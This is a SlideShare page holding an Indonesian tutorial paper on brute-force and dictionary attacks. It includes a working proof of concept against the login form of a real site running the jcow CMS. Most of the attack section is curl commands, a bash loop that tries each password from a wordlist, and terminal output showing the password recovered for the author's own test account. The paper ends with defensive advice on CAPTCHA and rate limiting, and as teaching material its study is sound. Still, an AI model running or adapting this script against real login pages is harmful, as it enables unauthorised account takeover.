Author : Linggar PrimahastokoSite : http://linx.web.idMail : x@linx.web.id                       Brute force, Dictionary a...
Terlihat sebuah peringatan bahwa data yang digunakan untuk masuk adalah data yang salah.Setelah itu kita melakukan sebuah ...
doneSetelah itu kita coba jalankan scriptnyasicuser@gate-linx:/data/linx/post$         cat wordlist.txtcobacobihuahahablog...
Upcoming SlideShare
Loading in …5
×

Bruteforce basic (paper) - linx

1,252 views
1,209 views

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,252
On SlideShare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
65
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Bruteforce basic (paper) - linx

  1. 1. Author : Linggar PrimahastokoSite : http://linx.web.idMail : x@linx.web.id Brute force, Dictionary attack, and The Implementation======Pendahuluan=======Di dalam dunia yang mengutamakan tentang keamanan ini, hampir semua akses-akses pentingmemiliki 2 hal yang saling berkaitan dan tidak bisa lepas, yaitu otentikasi dan otorisasi. Tentangbagaimana masuk ke dalam sebuah sistem dan bagaimana cara dari sistem untuk mengenali pihak-pihak yang boleh masuk dan tidak boleh masuk. Kedua hal ini sekarang lebih ditekankan pada sebuahpenggunaan username dan password.Pada artikel kali ini, akan dibahas tentang apa itu teknik brute force (yang berlanjut ke masalahdictionary attack) dan bagaimana implementasinya pada sebuah sistem yang vulnerable akan hal itu.Apa itu brute force?Brute force adalah sebuah serangan terhadap sistem di mana penyerang mencoba memasuki sebuahsistem dengan memasukkan semua kata kunci yang memungkinkan. Lebih tepatnya penyerang akanmemasukkan satu-satu sebuah kata kunci (password) dari berbagai kemungkinan untuk mendapatkansuatu akses. Biasanya brute force dilakukan untuk memasuki sebuah sistem dan juga digunakan untukmemecahkan suatu enkripsi satu arah (one way hash).Tetapi brute force ini memiliki kelemahan, yaitu karena banyaknya kemungkinan yang digunakan,waktu pemrosesan membutuhkan waktu yang sangat lama, yang bahkan estimasi waktunya bisaberjangka tahunan. Maka dari itu kemungkinan itu diperkecil dengan adanya sebuah teknik bernama“dictionary attack”. Intinya, pembatasan yang dilakukan pada dictionary attack adalah seorangpenyerang membatasi apa saja kata-kata yang akan digunakan sebagai sebuah kata kunci.======PoC=======Kali ini,akan saya berikan sebuah contoh bagaimana melakukan brute force dengan cara yang sangatsederhana. Sistem yang akan dicoba adalah sebuah CMS bernama jcow. Saya akan mencobamelakukan brute force dengan instruksi pada unix.Pertama, kita mendaftar pada sebuah situs yang menggunakan jcow CMS (pada kasus ini sayamenggunakan contoh http://salingsapa.com). Saya membuat dengan username linxnyoba dan denganpassword blognyalinx (tanpa quote). Lalu akan kita coba untuk masuk dengan user account yang salahuntuk mendapatkan parameter yang akan dijadikan sebagai sebuah kunci.
  2. 2. Terlihat sebuah peringatan bahwa data yang digunakan untuk masuk adalah data yang salah.Setelah itu kita melakukan sebuah instruksi post data dan pengolahan kata untuk mendapatkan katakunci wrong tadi.sicuser@gate-linx:/data/linx/post$ curl -s -d "username=linxnyoba&password=tes"http://salingsapa.com/member/loginpost | awk -F">" /Wrong/ {n=$8; sub(" account orpassword</div","",n); print n}Wrongsicuser@gate-linx:/data/linx/post$Sekarang kita mencoba apa yang akan terjadi ketika data yang dikirimkan bernilai true.sicuser@gate-linx:/data/linx/post$ curl -s -d"username=linxnyoba&password=blognyalinx" http://salingsapa.com/member/loginpost |awk -F">" /Wrong/ {n=$8; sub(" account or password</div","",n); print n}sicuser@gate-linx:/data/linx/post$Tidak terjadi apa-apa ketika data yang dikirimkan bernilai true. Dari hal ini kita bisa mendapatkanlogika bahwa ketika instruksi di atas dikirimkan dengan data yang bernilai false, akan didapatkan kataWrong, dan jika data yang dikirimkan bernilai true, tidak ada output yang muncul. Dari situ, kita bisamembuat sebuah script sederhana (dalam kasus ini saya menggunakan shell scripting) untukmengimplementasikan sebuah dictionary attack pada sistem itu.Kita buat sebuah wordlist dengan isi kata-kata yang yang akan kita coba masukkan. Lalu scriptsederhana yang saya buat untuk implementasi dictionary attack sebagai berikut.#!/bin/bashfor i in `cat wordlist.txt`dokunci=`curl -s -d "username=linxnyoba&password=$i"http://salingsapa.com/member/loginpost | awk -F">" /Wrong/ {n=$8; sub(" account orpassword</div","",n); print n}`if [ "$kunci" = "Wrong" ];then echo $i bukan passwordelse echo $i > password && exit;fi
  3. 3. doneSetelah itu kita coba jalankan scriptnyasicuser@gate-linx:/data/linx/post$ cat wordlist.txtcobacobihuahahablognyalinxtestingtestangsicuser@gate-linx:/data/linx/post$ sh brute.shcobacobi bukan passwordhuahaha bukan passwordsicuser@gate-linx:/data/linx/post$ lsbrute.sh password wordlist.txtsicuser@gate-linx:/data/linx/post$ cat passwordblognyalinxYak, kita dapatkan password dari user account yang telah kita buat tadi. Jadi untuk penjelasanbagaimana script itu berjalan adalah, pertama kita buat perulangan proses login dengan menggunakanpassword yang ada di dalam file wordlist.txt. Lalu kita buat sebuah penanda ketika data yangdikirimkan itu salah, yaitu kata Wrong. Setelah itu, untuk outputnya, ketika password yangdimasukkan salah, akan ada output $password bukan password, sedangkan ketika data yangdimasukkan benar, akan muncul sebuah file password dengan isi password yang benar dan programakan berhenti.======Penutup=======Pada kasus kali ini, sistem web yang vulnerable akan sebuah dictionary attack dan brute force,kekurangan pada sistem adalah sistem captcha yang dapat memberikan perlindungan pada situs,sehingga bot tidak dapat melakukan proses perulangan pada sebuah sistem. Selain itu pembatasan dapatdilakukan dari sisi server, yaitu pada pembatasan jumlah request yang sama pada selang waktu yangdekat, sehingga proses brute force relatif dapat dihindari.Dari hal-hal di atas, dapat diambil sebuah kesimpulan, bahwa sebuah brute force dan dictionary attackdapat dilakukan dengan cara yang sangat sederhana, tidak melihat software apa yang digunakan, karenayang paling penting adalah tentang konsep dan logika yang digunakan.======Reference=======http://en.wikipedia.org/wiki/Brute-force_attackhttp://en.wikipedia.org/wiki/Dictionary_attackhttp://curl.haxx.se/docs/manpage.html

×